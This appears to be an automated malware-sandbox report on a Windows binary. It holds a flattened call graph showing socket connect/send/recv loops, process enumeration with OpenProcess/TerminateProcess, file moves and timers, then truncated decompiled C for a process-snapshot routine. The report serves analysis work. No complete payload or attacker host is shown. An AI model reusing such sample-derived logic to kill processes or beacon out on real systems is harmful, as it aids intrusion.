4622->4613 4622->4614 4622->4615 4622->4616 4622->4617 4622->4619 4622->4620 4622->4621 4623 a43360 8 API calls 4622->4623 4624 a43e50 14 API calls 4622->4624 4625 a43360 8 API calls 4622->4625 4627 a41e10 6 API calls 4622->4627 4628 a44c86 4622->4628 4623->4622 4624->4622 4626 a44c2e StrToIntA 4625->4626 4626->4622 4627->4622 4629 a43360 8 API calls 4628->4629 4631 a44cfa 4628->4631 4630 a44cd9 StrToIntA 4629->4630 4630->4631 4632 a43360 8 API calls 4631->4632 4634 a44d55 4631->4634 4633 a44d2a StrToIntA 4632->4633 4633->4634 4635 a43360 8 API calls 4634->4635 4636 a44dc8 4634->4636 4637 a44d9d StrToIntA 4635->4637 4638 a43360 8 API calls 4636->4638 4640 a44e3b 4636->4640 4637->4636 4639 a44e10 StrToIntA 4638->4639 4639->4640 4641 a43360 8 API calls 4640->4641 4643 a44ea4 4640->4643 4642 a44e83 StrToIntA 4641->4642 4642->4643 4645 a43360 8 API calls 4643->4645 4647 a44ef5 4643->4647 4644 a44f55 4646 a44ed4 StrToIntA 4645->4646 4646->4647 4647->4644 4648 a41ee0 2 API calls 4647->4648 4648->4644 4835 a46c49 4858 a46b15 4835->4858 4836 a46220 33 API calls 4836->4858 4837 a473ae WSACleanup 4838 a45650 29 API calls 4838->4858 4839 a46bfd Sleep 4839->4858 4840 a46310 33 API calls 4840->4858 4841 a46b74 4841->4837 4842 a46480 33 API calls 4842->4858 4843 a46140 33 API calls 4843->4858 4844 a45f10 33 API calls 4844->4858 4845 a47370 Sleep 4845->4858 4846 a46e8c Sleep 4846->4858 4847 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 4847->4858 4848 a465e0 33 API calls 4848->4858 4849 a46860 2 API calls 4849->4858 4850 a471b4 Sleep 4850->4858 4851 a439c0 15 API calls 4851->4858 4852 a457d0 24 API calls 4852->4858 4853 a43830 14 API calls 4855 a4729a Sleep 4853->4855 4854 a43830 14 API calls 4856 a47245 Sleep 4854->4856 4855->4858 4856->4858 4857 a43830 14 API calls 4857->4858 4858->4836 4858->4837 4858->4838 4858->4839 4858->4840 4858->4841 4858->4842 4858->4843 4858->4844 4858->4845 4858->4846 4858->4847 4858->4848 4858->4849 4858->4850 4858->4851 4858->4852 4858->4853 4858->4854 4858->4857 3866 a44ff0 GetCommandLineW CommandLineToArgvW 3867 a4517d ExitProcess 3866->3867 3870 a45029 3866->3870 3868 a45149 3869 a45167 LocalFree 3868->3869 3993 a45190 3868->3993 3869->3867 3870->3868 3873 a45054 3870->3873 3874 a4506f 3870->3874 3943 a42c10 3873->3943 3882 a450bd 3874->3882 3894 a450cf 3874->3894 3974 a436c0 InterlockedCompareExchange 3874->3974 3884 a436c0 3 API calls 3882->3884 3887 a450c9 3884->3887 3986 a43830 3887->3986 3888 a450f7 3889 a4513c 3888->3889 3898 a44640 3888->3898 3936 a42bd0 3889->3936 3895 a42620 3894->3895 3998 a42420 GetProcessHeap RtlAllocateHeap 3895->3998 3899 a44654 CommandLineToArgvW 3898->3899 3900 a4464f 3898->3900 3899->3900 3904 a44699 3899->3904 3900->3888 3901 a44fd3 LocalFree 3901->3900 3903 a42420 GetProcessHeap RtlAllocateHeap 3903->3904 3904->3901 3904->3903 3907 a43360 8 API calls 3904->3907 3910 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 3904->3910 3911 a44c86 3904->3911 3912 a43360 8 API calls 3904->3912 3913 a43a00 15 API calls 3904->3913 4000 a432a0 3904->4000 4007 a43e50 3904->4007 4038 a43cb0 3904->4038 4078 a47720 3904->4078 4108 a42ac0 3904->4108 4124 a41e10 3904->4124 3908 a44c2e StrToIntA 3907->3908 3908->3904 3910->3904 3914 a43360 8 API calls 3911->3914 3916 a44cfa 3911->3916 3912->3904 3913->3904 3915 a44cd9 StrToIntA 3914->3915 3915->3916 3918 a43360 8 API calls 3916->3918 3920 a44d55 3916->3920 3919 a44d2a StrToIntA 3918->3919 3919->3920 3922 a43360 8 API calls 3920->3922 3923 a44dc8 3920->3923 3924 a44d9d StrToIntA 3922->3924 3927 a44e3b 3923->3927 4030 a43360 WideCharToMultiByte 3923->4030 3924->3923 3928 a43360 8 API calls 3927->3928 3930 a44ea4 3927->3930 3929 a44e83 StrToIntA 3928->3929 3929->3930 3932 a43360 8 API calls 3930->3932 3934 a44ef5 3930->3934 3931 a44f55 3931->3888 3933 a44ed4 StrToIntA 3932->3933 3933->3934 3934->3931 4132 a41ee0 3934->4132 3937 a426e0 Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock EnterCriticalSection 3936->3937 3938 a42be5 3937->3938 3939 a42bff 3938->3939 3940 a429c0 5 API calls 3938->3940 3941 a42710 LeaveCriticalSection 3939->3941 3940->3938 3942 a42c07 3941->3942 3942->3868 3944 a42c61 GetSystemTime 3943->3944 3962 a42ee9 3943->3962 3945 a43360 8 API calls 3944->3945 3946 a42c8a StrToIntA 3945->3946 3947 a42ca1 SystemTimeToFileTime 3946->3947 3952 a42d2a VarDateFromStr 3946->3952 3948 a42cd8 3947->3948 3950 a42cfc FileTimeToSystemTime 3948->3950 3950->3952 3951 a42d78 3953 a42d9d SystemTimeToFileTime SystemTimeToFileTime CompareFileTime 3951->3953 3951->3962 3952->3951 3952->3962 3954 a42e09 3953->3954 3953->3962 3955 a42e45 FileTimeToSystemTime 3954->3955 3956 a436c0 3 API calls 3955->3956 3957 a42e80 3956->3957 3958 a43830 14 API calls 3957->3958 3959 a42e86 CreateWaitableTimerW 3958->3959 3960 a42eae 3959->3960 3959->3962 3961 a42ebf SetWaitableTimer 3960->3961 3961->3962 3963 a42efa CloseHandle 3961->3963 3964 a43040 3962->3964 3963->3962 3965 a43057 3964->3965 3966 a43050 3964->3966 3967 a43067 WaitForMultipleObjectsEx 3965->3967 3968 a4308c WaitForMultipleObjectsEx 3965->3968 3969 a42fc0 3966->3969 3967->3966 3968->3966 3970 a42fd7 CloseHandle 3969->3970 3971 a42ffc 3969->3971 3970->3971 3972 a43031 3971->3972 3973 a4300c CloseHandle 3971->3973 3972->3874 3973->3972 3975 a436d7 3974->3975 3976 a436f3 Sleep 3974->3976 4579 a437e0 InitializeCriticalSection 3975->4579 3977 a436f1 3976->3977 3979 a43770 3977->3979 4580 a43600 EnterCriticalSection 3979->4580 3981 a437a3 4584 a43630 LeaveCriticalSection 3981->4584 3982 a43783 3982->3981 4581 a425a0 3982->4581 3985 a437c9 3985->3882 3987 a43842 3986->3987 3988 a43870 14 API calls 3987->3988 3989 a43859 3988->3989 3989->3894 3990 a42800 4585 a42660 InitializeCriticalSection 3990->4585 3992 a42811 3992->3888 4586 a451d0 3993->4586 3997 a451b5 3997->3869 3999 a42440 3998->3999 3999->3888 3999->3990 4001 a43360 8 API calls 4000->4001 4002 a432b3 4001->4002 4003 a432d1 4002->4003 4135 a43240 4002->4135 4003->3904 4008 a43e78 4007->4008 4014 a44061 4007->4014 4009 a43f27 StrToIntA 4008->4009 4010 a43f3f 4008->4010 4009->4010 4011 a43f7a StrToIntA 4010->4011 4012 a43f9c 4010->4012 4011->4012 4013 a4400a 4012->4013 4020 a44144 4012->4020 4013->4014 4015 a44042 StrToIntA 4013->4015 4014->3904 4016 a44058 4015->4016 4016->4014 4017 a440a6 StrToIntA 4016->4017 4018 a440bc 4017->4018 4019 a41e10 6 API calls 4018->4019 4027 a440ed 4019->4027 4020->4014 4022 a443ae 4020->4022 4023 a44396 StrToIntA 4020->4023 4021 a44401 4025 a44454 4021->4025 4028 a4443c StrToIntA 4021->4028 4022->4021 4024 a443e9 StrToIntA 4022->4024 4023->4022 4024->4021 4025->4014 4029 a4448f StrToIntA 4025->4029 4026 a41ee0 GetProcessHeap RtlAllocateHeap 4026->4027 4027->4014 4027->4026 4028->4025 4029->4014 4031 a43391 4030->4031 4037 a433cf StrToIntA 4030->4037 4032 a42420 2 API calls 4031->4032 4033 a4339a 4032->4033 4034 a433a3 WideCharToMultiByte 4033->4034 4033->4037 4035 a433c6 4034->4035 4034->4037 4036 a424f0 _MallocaArrayHolder 4 API calls 4035->4036 4036->4037 4037->3927 4039 a43cbd 4038->4039 4040 a43e3e 4038->4040 4041 a43cd0 4039->4041 4042 a424f0 _MallocaArrayHolder 4 API calls 4039->4042 4040->3904 4043 a43ce5 4041->4043 4044 a424f0 _MallocaArrayHolder 4 API calls 4041->4044 4042->4041 4045 a43cfa 4043->4045 4046 a424f0 _MallocaArrayHolder 4 API calls 4043->4046 4044->4043 4047 a43d0f 4045->4047 4048 a424f0 _MallocaArrayHolder 4 API calls 4045->4048 4046->4045 4049 a43d24 4047->4049 4051 a424f0 _MallocaArrayHolder 4 API calls 4047->4051 4048->4047 4050 a43d39 4049->4050 4052 a424f0 _MallocaArrayHolder 4 API calls 4049->4052 4053 a43d4e 4050->4053 4054 a424f0 _MallocaArrayHolder 4 API calls 4050->4054 4051->4049 4052->4050 4055 a43d63 4053->4055 4056 a424f0 _MallocaArrayHolder 4 API calls 4053->4056 4054->4053 4057 a43d78 4055->4057 4058 a424f0 _MallocaArrayHolder 4 API calls 4055->4058 4056->4055 4059 a43d8d 4057->4059 4061 a424f0 _MallocaArrayHolder 4 API calls 4057->4061 4058->4057 4060 a43da2 4059->4060 4062 a424f0 _MallocaArrayHolder 4 API calls 4059->4062 4063 a43db7 4060->4063 4064 a424f0 _MallocaArrayHolder 4 API calls 4060->4064 4061->4059 4062->4060 4065 a43dcc 4063->4065 4066 a424f0 _MallocaArrayHolder 4 API calls 4063->4066 4064->4063 4067 a43de1 4065->4067 4068 a424f0 _MallocaArrayHolder 4 API calls 4065->4068 4066->4065 4069 a424f0 _MallocaArrayHolder 4 API calls 4067->4069 4070 a43df6 4067->4070 4068->4067 4069->4070 4071 a43e0b 4070->4071 4072 a424f0 _MallocaArrayHolder 4 API calls 4070->4072 4073 a43e20 4071->4073 4074 a424f0 _MallocaArrayHolder 4 API calls 4071->4074 4072->4071 4075 a43e35 4073->4075 4076 a424f0 _MallocaArrayHolder 4 API calls 4073->4076 4074->4073 4077 a424f0 _MallocaArrayHolder 4 API calls 4075->4077 4076->4075 4077->4040 4143 a47920 CreateToolhelp32Snapshot 4078->4143 4080 a47770 4083 a47920 5 API calls 4080->4083 4081 a47730 4081->4080 4082 a4773f OpenProcess TerminateProcess 4081->4082 4084 a47920 5 API calls 4081->4084 4082->4081 4088 a4777e 4083->4088 4084->4081 4085 a477bd 4086 a47914 4085->4086 4090 a42420 2 API calls 4085->4090 4086->3904 4087 a4778d OpenProcess TerminateProcess 4087->4088 4088->4085 4088->4087 4089 a47920 5 API calls 4088->4089 4089->4088 4091 a477e7 4090->4091 4092 a42420 2 API calls 4091->4092 4093 a477f4 4092->4093 4094 a42420 2 API calls 4093->4094 4095 a47801 4094->4095 4096 a478b4 MoveFileA 4095->4096 4097 a478c9 GetLastError 4096->4097 4099 a436c0 3 API calls 4097->4099 4100 a478f0 4099->4100 4150 a43a00 4100->4150 4103 a424f0 _MallocaArrayHolder 4 API calls 4104 a47902 4103->4104 4105 a424f0 _MallocaArrayHolder 4 API calls 4104->4105 4106 a4790b 4105->4106 4107 a424f0 _MallocaArrayHolder 4 API calls 4106->4107 4107->4086 4191 a426e0 4108->4191 4111 a42ae5 4194 a428e0 CreateWaitableTimerW 4111->4194 4112 a42b97 4199 a429c0 WaitForMultipleObjects 4112->4199 4116 a42af1 4117 a42b53 4116->4117 4121 a42b17 CreateThread 4116->4121 4204 a42710 4117->4204 4118 a42ac0 72 API calls 4118->4117 4122 a42b4c 4121->4122 4215 a44620 4121->4215 4122->4117 4123 a42b6a CloseHandle 4122->4123 4123->4117 4125 a41e25 4124->4125 4126 a41e89 4124->4126 4125->4126 4128 a41e7a 4125->4128 4131 a424f0 _MallocaArrayHolder 4 API calls 4125->4131 4127 a42420 2 API calls 4126->4127 4129 a41ea7 4126->4129 4127->4129 4130 a424f0 _MallocaArrayHolder 4 API calls 4128->4130 4129->3904 4130->4126 4131->4125 4133 a42620 2 API calls 4132->4133 4134 a41ef0 4133->4134 4134->3931 4136 a4324e inet_addr 4135->4136 4137 a4324a 4135->4137 4136->4137 4138 a424f0 4137->4138 4139 a42536 4138->4139 4140 a424fa GetProcessHeap HeapSize 4138->4140 4139->4003 4141 a42516 _MallocaArrayHolder 4140->4141 4142 a42523 GetProcessHeap HeapFree 4140->4142 4141->4142 4142->4139 4144 a47946 4143->4144 4145 a4794a Process32First 4143->4145 4144->4081 4146 a4799d FindCloseChangeNotification 4145->4146 4147 a4795f 4145->4147 4146->4144 4148 a47976 CloseHandle 4147->4148 4149 a47988 Process32Next 4147->4149 4148->4144 4149->4146 4149->4147 4161 a43600 EnterCriticalSection 4150->4161 4152 a43a1a 4162 a43970 GetSystemTime 4152->4162 4155 a43830 14 API calls 4156 a43a33 4155->4156 4165 a43870 4156->4165 4160 a43a76 4160->4103 4161->4152 4163 a43830 14 API calls 4162->4163 4164 a439ac 4163->4164 4164->4155 4185 a43600 EnterCriticalSection 4165->4185 4167 a4388a 4168 a42420 2 API calls 4167->4168 4169 a43894 4168->4169 4170 a438a1 wvnsprintfA 4169->4170 4171 a43952 4169->4171 4173 a438c5 4170->4173 4174 a43949 4170->4174 4186 a43630 LeaveCriticalSection 4171->4186 4177 a438d5 CreateFileW 4173->4177 4178 a43929 GetStdHandle WriteFile 4173->4178 4175 a424f0 _MallocaArrayHolder 4 API calls 4174->4175 4175->4171 4176 a43960 4184 a43630 LeaveCriticalSection 4176->4184 4179 a438fc 4177->4179 4178->4174 4180 a43903 WriteFile 4179->4180 4181 a4391e 4179->4181 4180->4181 4187 a43690 4181->4187 4184->4160 4185->4167 4186->4176 4188 a4369c 4187->4188 4189 a436a3 CloseHandle 4188->4189 4190 a436ad 4188->4190 4189->4190 4190->4174 4207 a426a0 EnterCriticalSection 4191->4207 4193 a426f9 4193->4111 4193->4112 4195 a42958 4194->4195 4196 a42905 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 4194->4196 4195->4116 4197 a42927 SetWaitableTimer 4196->4197 4197->4195 4198 a42947 CloseHandle 4197->4198 4198->4195 4200 a42ab6 4199->4200 4201 a429fd 4199->4201 4200->4117 4200->4118 4201->4200 4208 a42970 4201->4208 4214 a426c0 LeaveCriticalSection 4204->4214 4206 a42721 4206->3904 4207->4193 4209 a42982 4208->4209 4210 a429b7 CloseHandle CloseHandle 4209->4210 4211 a42989 GetExitCodeThread 4209->4211 4210->4200 4212 a429a2 4211->4212 4213 a429ab TerminateThread 4211->4213 4212->4210 4212->4213 4213->4210 4214->4206 4216 a44632 4215->4216 4217 a44629 4215->4217 4219 a45770 4217->4219 4220 a45782 4219->4220 4226 a457af 4219->4226 4221 a436c0 3 API calls 4220->4221 4223 a457a9 4221->4223 4225 a43a00 15 API calls 4223->4225 4224 a457bb 4224->4216 4225->4226 4227 a46a80 4226->4227 4228 a46ab0 4227->4228 4229 a46ad2 Sleep 4228->4229 4230 a46ae9 4228->4230 4229->4230 4231 a436c0 3 API calls 4230->4231 4232 a46b0c 4231->4232 4233 a43a00 15 API calls 4232->4233 4249 a46b12 4233->4249 4234 a473ae WSACleanup 4234->4224 4236 a46bfd Sleep 4236->4249 4238 a46b74 4238->4234 4243 a47370 Sleep 4243->4249 4244 a46e8c Sleep 4260 a46b8f 4244->4260 4247 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 4247->4260 4248 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 4248->4249 4249->4234 4249->4236 4249->4238 4249->4243 4249->4244 4249->4248 4250 a471b4 Sleep 4249->4250 4251 a43830 14 API calls 4249->4251 4249->4260 4261 a45650 WSAStartup 4249->4261 4285 a46220 4249->4285 4337 a46480 4249->4337 4350 a46860 4249->4350 4355 a439c0 4249->4355 4250->4249 4251->4249 4252 a457d0 24 API calls 4252->4260 4253 a43830 14 API calls 4253->4260 4254 a43830 14 API calls 4256 a4729a Sleep 4254->4256 4255 a43830 14 API calls 4257 a47245 Sleep 4255->4257 4256->4249 4257->4249 4258 a465e0 33 API calls 4258->4260 4259 a439c0 15 API calls 4259->4260 4260->4243 4260->4247 4260->4249 4260->4250 4260->4252 4260->4253 4260->4254 4260->4255 4260->4258 4260->4259 4298 a46140 4260->4298 4311 a45f10 4260->4311 4324 a46310 4260->4324 4262 a4569a 4261->4262 4263 a4567b 4261->4263 4265 a456a5 htons inet_addr 4262->4265 4264 a436c0 3 API calls 4263->4264 4266 a45689 4264->4266 4362 a455f0 socket 4265->4362 4268 a43830 14 API calls 4266->4268 4284 a4568f 4268->4284 4272 a45704 4274 a436c0 3 API calls 4272->4274 4273 a4572c 4275 a436c0 3 API calls 4273->4275 4276 a45717 4274->4276 4277 a4573f 4275->4277 4278 a43a00 15 API calls 4276->4278 4279 a43a00 15 API calls 4277->4279 4278->4284 4280 a45745 4279->4280 4378 a45430 setsockopt 4280->4378 4282 a45756 4379 a45460 setsockopt 4282->4379 4284->4249 4286 a4622d 4285->4286 4287 a42620 2 API calls 4286->4287 4288 a46234 4287->4288 4290 a46248 4288->4290 4469 a41450 4288->4469 4386 a458e0 4290->4386 4293 a462b3 4432 a45b30 4293->4432 4299 a4614d 4298->4299 4300 a42620 2 API calls 4299->4300 4301 a46154 4300->4301 4302 a41450 2 API calls 4301->4302 4303 a46168 4301->4303 4302->4303 4304 a458e0 26 API calls 4303->4304 4305 a461b0 Sleep 4304->4305 4306 a461d3 4305->4306 4307 a45b30 22 API calls 4306->4307 4308 a461f3 4307->4308 4309 a45cd0 28 API calls 4308->4309 4310 a46215 4309->4310 4310->4260 4312 a45f1d 4311->4312 4313 a42620 2 API calls 4312->4313 4314 a45f24 4313->4314 4315 a41450 2 API calls 4314->4315 4316 a45f38 4314->4316 4315->4316 4317 a458e0 26 API calls 4316->4317 4318 a45f8c Sleep 4317->4318 4319 a45faf 4318->4319 4320 a45b30 22 API calls 4319->4320 4321 a45fcf 4320->4321 4322 a45cd0 28 API calls 4321->4322 4323 a45ff1 4322->4323 4323->4260 4325 a4631d 4324->4325 4326 a42620 2 API calls 4325->4326 4327 a4632b 4326->4327 4328 a41450 2 API calls 4327->4328 4329 a4633f 4327->4329 4328->4329 4330 a458e0 26 API calls 4329->4330 4331 a463ff Sleep 4330->4331 4332 a4641b 4331->4332 4333 a45b30 22 API calls 4332->4333 4334 a4643b 4333->4334 4335 a45cd0 28 API calls 4334->4335 4336 a4645d 4335->4336 4336->4260 4338 a4648d 4337->4338 4339 a42620 2 API calls 4338->4339 4340 a4649b 4339->4340 4341 a41450 2 API calls 4340->4341 4342 a464af 4340->4342 4341->4342 4343 a458e0 26 API calls 4342->4343 4344 a4656f Sleep 4343->4344 4345 a4658b 4344->4345 4346 a45b30 22 API calls 4345->4346 4347 a465ab 4346->4347 4348 a45cd0 28 API calls 4347->4348 4349 a465cd 4348->4349 4349->4249 4351 a42620 2 API calls 4350->4351 4352 a46874 4351->4352 4353 a41450 2 API calls 4352->4353 4354 a46888 4352->4354 4353->4354 4354->4249 4577 a43600 EnterCriticalSection 4355->4577 4357 a439dd 4358 a43970 15 API calls 4357->4358 4359 a439e5 4358->4359 4578 a43630 LeaveCriticalSection 4359->4578 4361 a439f6 4361->4249 4363 a4560e 4362->4363 4369 a45609 4362->4369 4364 a45621 4363->4364 4380 a453f0 4363->4380 4383 a45430 setsockopt 4364->4383 4367 a4562e 4384 a45460 setsockopt 4367->4384 4369->4284 4370 a454e0 connect 4369->4370 4371 a45504 4370->4371 4372 a4550b 4370->4372 4371->4272 4371->4273 4372->4371 4373 a45515 WSAGetLastError 4372->4373 4373->4371 4374 a45526 4373->4374 4385 a45490 select 4374->4385 4376 a455aa 4376->4371 4377 a455af __WSAFDIsSet 4376->4377 4377->4371 4378->4282 4379->4284 4381 a453fe ioctlsocket 4380->4381 4381->4364 4383->4367 4384->4369 4385->4376 4387 a458f7 Sleep 4386->4387 4388 a45901 4386->4388 4387->4293 4389 a45907 4388->4389 4390 a4597d 4388->4390 4391 a45954 4389->4391 4393 a436c0 3 API calls 4389->4393 4396 a459b4 4390->4396 4475 a47700 4391->4475 4394 a4591a 4393->4394 4395 a439c0 15 API calls 4394->4395 4397 a45921 WSAGetLastError 4395->4397 4398 a459ff send 4396->4398 4474 a47db0 4397->4474 4400 a45a22 4398->4400 4401 a45a8a 4398->4401 4405 a436c0 3 API calls 4400->4405 4403 a45a90 4401->4403 4404 a45b02 4401->4404 4402 a4592d WSAGetLastError 4407 a436c0 3 API calls 4402->4407 4411 a436c0 3 API calls 4403->4411 4431 a45adc 4403->4431 4480 a479b0 4404->4480 4408 a45a27 4405->4408 4410 a4594e 4407->4410 4412 a439c0 15 API calls 4408->4412 4409 a47700 closesocket 4430 a45a85 4409->4430 4413 a43830 14 API calls 4410->4413 4414 a45aa3 4411->4414 4415 a45a2e WSAGetLastError 4412->4415 4413->4391 4416 a439c0 15 API calls 4414->4416 4478 a47db0 4415->4478 4418 a45aaa WSAGetLastError 4416->4418 4479 a47db0 4418->4479 4419 a45a3a WSAGetLastError 4421 a436c0 3 API calls 4419->4421 4423 a45a5b 4421->4423 4422 a45ab6 WSAGetLastError 4424 a436c0 3 API calls 4422->4424 4425 a43830 14 API calls 4423->4425 4426 a45ad6 4424->4426 4427 a45a61 4425->4427 4429 a43830 14 API calls 4426->4429 4428 a47700 closesocket 4427->4428 4428->4430 4429->4431 4430->4387 4431->4409 4433 a45b3d 4432->4433 4434 a45b4b 4433->4434 4444 a45b55 4433->4444 4446 a45cd0 4434->4446 4435 a45b6a recv 4435->4444 4436 a45beb WSAGetLastError 4436->4444 4437 a436c0 3 API calls 4437->4444 4438 a45c72 4438->4434 4439 a439c0 15 API calls 4440 a45c17 WSAGetLastError 4439->4440 4560 a47db0 4440->4560 4442 a45c23 WSAGetLastError 4443 a436c0 3 API calls 4442->4443 4443->4444 4444->4435 4444->4436 4444->4437 4444->4438 4444->4439 4445 a43830 14 API calls 4444->4445 4445->4444 4447 a45e78 4446->4447 4457 a45cec 4446->4457 4448 a45f02 4447->4448 4449 a45eb1 4447->4449 4450 a45ec9 4447->4450 4448->4249 4568 a46000 4449->4568 4450->4448 4453 a436c0 3 API calls 4450->4453 4452 a45ebe 4452->4448 4454 a45edc 4453->4454 4455 a439c0 15 API calls 4454->4455 4456 a45ee3 4455->4456 4458 a436c0 3 API calls 4456->4458 4457->4447 4459 a42620 2 API calls 4457->4459 4460 a45efc 4458->4460 4461 a45d89 4459->4461 4462 a43830 14 API calls 4460->4462 4463 a41450 2 API calls 4461->4463 4465 a45d9d 4461->4465 4462->4448 4463->4465 4464 a45e1e 4466 a479b0 17 API calls 4464->4466 4465->4464 4467 a45e11 4465->4467 4466->4447 4561 a460a0 4467->4561 4470 a42620 2 API calls 4469->4470 4471 a41460 4470->4471 4472 a42620 2 API calls 4471->4472 4473 a4148f 4472->4473 4473->4290 4474->4402 4559 a453d0 closesocket 4475->4559 4477 a47716 4477->4387 4478->4419 4479->4422 4481 a479cd 4480->4481 4540 a479c8 4480->4540 4482 a436c0 3 API calls 4481->4482 4483 a479fd 4482->4483 4484 a43830 14 API calls 4483->4484 4492 a47a03 4484->4492 4485 a47ace 4486 a436c0 3 API calls 4485->4486 4487 a47ad8 4486->4487 4488 a43830 14 API calls 4487->4488 4489 a47ade 4488->4489 4491 a42620 2 API calls 4489->4491 4490 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 4490->4492 4493 a47ae8 4491->4493 4492->4485 4492->4490 4494 a43830 14 API calls 4492->4494 4495 a41450 2 API calls 4493->4495 4497 a47afc 4493->4497 4494->4492 4495->4497 4496 a47b39 4499 a47b4d 4496->4499 4500 a47b5b 4496->4500 4497->4496 4498 a436c0 3 API calls 4497->4498 4501 a47b33 4498->4501 4502 a47b70 4499->4502 4503 a47b53 4499->4503 4504 a436c0 3 API calls 4500->4504 4506 a43830 14 API calls 4501->4506 4505 a436c0 3 API calls 4502->4505 4507 a47b59 4503->4507 4510 a436c0 3 API calls 4503->4510 4508 a47b65 4504->4508 4509 a47b7a 4505->4509 4506->4496 4514 a436c0 3 API calls 4507->4514 4511 a43830 14 API calls 4508->4511 4512 a43830 14 API calls 4509->4512 4513 a47b8f 4510->4513 4511->4507 4512->4507 4515 a43830 14 API calls 4513->4515 4516 a47baf 4514->4516 4515->4507 4517 a43830 14 API calls 4516->4517 4518 a47bb5 4517->4518 4519 a47be7 4518->4519 4521 a436c0 3 API calls 4518->4521 4520 a47c96 4519->4520 4526 a436c0 3 API calls 4519->4526 4523 a47d8e 4520->4523 4525 a47cce 4520->4525 4528 a436c0 3 API calls 4520->4528 4522 a47be1 4521->4522 4524 a43830 14 API calls 4522->4524 4527 a436c0 3 API calls 4523->4527 4524->4519 4531 a47cf4 4525->4531 4536 a436c0 3 API calls 4525->4536 4529 a47c31 4526->4529 4530 a47d9b 4527->4530 4533 a47cc8 4528->4533 4534 a43830 14 API calls 4529->4534 4535 a43830 14 API calls 4530->4535 4532 a47d1a 4531->4532 4537 a436c0 3 API calls 4531->4537 4538 a47d40 4532->4538 4543 a436c0 3 API calls 4532->4543 4539 a43830 14 API calls 4533->4539 4555 a47c37 4534->4555 4535->4540 4541 a47cee 4536->4541 4542 a47d14 4537->4542 4544 a47d66 4538->4544 4548 a436c0 3 API calls 4538->4548 4539->4525 4540->4430 4545 a43830 14 API calls 4541->4545 4546 a43830 14 API calls 4542->4546 4547 a47d3a 4543->4547 4544->4523 4550 a436c0 3 API calls 4544->4550 4545->4531 4546->4532 4551 a43830 14 API calls 4547->4551 4549 a47d60 4548->4549 4552 a43830 14 API calls 4549->4552 4553 a47d88 4550->4553 4551->4538 4552->4544 4554 a43830 14 API calls 4553->4554 4554->4523 4556 a436c0 3 API calls 4555->4556 4557 a47c90 4556->4557 4558 a43830 14 API calls 4557->4558 4558->4520 4559->4477 4560->4442 4562 a42620 2 API calls 4561->4562 4563 a460ad 4562->4563 4564 a41450 2 API calls 4563->4564 4565 a460c1 4563->4565 4564->4565 4566 a458e0 26 API calls 4565->4566 4567 a46117 Sleep 4566->4567 4567->4464 4569 a4600d 4568->4569 4570 a42620 2 API calls 4569->4570 4571 a46014 4570->4571 4572 a41450 2 API calls 4571->4572 4573 a46028 4571->4573 4572->4573 4574 a458e0 26 API calls 4573->4574 4575 a46067 Sleep 4574->4575 4576 a4608a 4575->4576 4576->4452 4577->4357 4578->4361 4579->3977 4580->3982 4582 a42420 2 API calls 4581->4582 4583 a425ad 4582->4583 4583->3981 4584->3985 4585->3992 4592 a42680 DeleteCriticalSection 4586->4592 4588 a4519f 4588->3997 4589 a42630 4588->4589 4590 a424f0 _MallocaArrayHolder 4 API calls 4589->4590 4591 a4263c 4590->4591 4591->3997 4592->4588 4653 a42f30 4654 a42c10 31 API calls 4653->4654 4655 a42f48 4654->4655 4656 a42f99 4655->4656 4657 a42f69 OpenEventW 4655->4657 4657->4656 4859 a43710 4866 a43600 EnterCriticalSection 4859->4866 4861 a43723 4862 a43732 4861->4862 4867 a432e0 MultiByteToWideChar 4861->4867 4875 a43630 LeaveCriticalSection 4862->4875 4865 a43758 4866->4861 4868 a4330d 4867->4868 4874 a43349 4867->4874 4869 a42420 2 API calls 4868->4869 4870 a43318 4869->4870 4871 a43321 MultiByteToWideChar 4870->4871 4870->4874 4872 a43340 4871->4872 4871->4874 4873 a424f0 _MallocaArrayHolder 4 API calls 4872->4873 4873->4874 4874->4862 4875->4865 4876 a42650 4877 a424f0 _MallocaArrayHolder 4 API calls 4876->4877 4878 a4265c 4877->4878 4879 a47f50 4880 a47f5f _MallocaArrayHolder 4879->4880 4881 a47f72 4880->4881 4882 a42630 _MallocaArrayHolder 4 API calls 4880->4882 4882->4881 4695 a45cff 4702 a45d08 4695->4702 4696 a45e78 4697 a45ebe 4696->4697 4698 a45eb1 4696->4698 4699 a45ec9 4696->4699 4700 a46000 27 API calls 4698->4700 4699->4697 4701 a436c0 3 API calls 4699->4701 4700->4697 4703 a45edc 4701->4703 4702->4696 4704 a42620 2 API calls 4702->4704 4705 a439c0 15 API calls 4703->4705 4706 a45d89 4704->4706 4707 a45ee3 4705->4707 4709 a41450 2 API calls 4706->4709 4714 a45d9d 4706->4714 4708 a436c0 3 API calls 4707->4708 4710 a45efc 4708->4710 4709->4714 4711 a43830 14 API calls 4710->4711 4711->4697 4712 a45e1e 4713 a479b0 17 API calls 4712->4713 4713->4696 4714->4712 4715 a460a0 27 API calls 4714->4715 4715->4712

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 788 a47920-a47944 CreateToolhelp32Snapshot 789 a47946-a47948 788->789 790 a4794a-a4795d Process32First 788->790 791 a479a9-a479ac 789->791 792 a4799d-a479a7 FindCloseChangeNotification 790->792 793 a4795f-a47974 call a43a90 790->793 792->791 796 a47976-a47986 CloseHandle 793->796 797 a47988-a4799b Process32Next 793->797 796->791 797->792 797->793
    C-Code - Quality: 100%
    			E00A47920(intOrPtr _a4) {
    				void* _v8;
    				char _v268;
    				intOrPtr _v296;
    				void* _v304;
    				void* _t13;
    				int _t15;
    				void* _t19;
    				int _t21;
    				void* _t30;
    
    				_v304 = 0x128;
    				_t13 = CreateToolhelp32Snapshot(0xf, 0); // executed
    				_v8 = _t13;
    				if(_v8 != 0xffffffff) {
    					_t25 = _v8;
    					_t15 = Process32First(_v8,  &_v304); // executed
    					if(_t15 == 0) {
    						L6:
    						FindCloseChangeNotification(_v8); // executed
    						return 0;
    					} else {
    						goto L3;
    					}
    					while(1) {
    						L3:
    						_t19 = E00A43A90( &_v268, _t25,  &_v268, _a4);
    						_t30 = _t30 + 8;
    						if(_t19 == 0) {
    							break;
    						}
    						_t21 = Process32Next(_v8,  &_v304); // executed
    						if(_t21 != 0) {
    							continue;
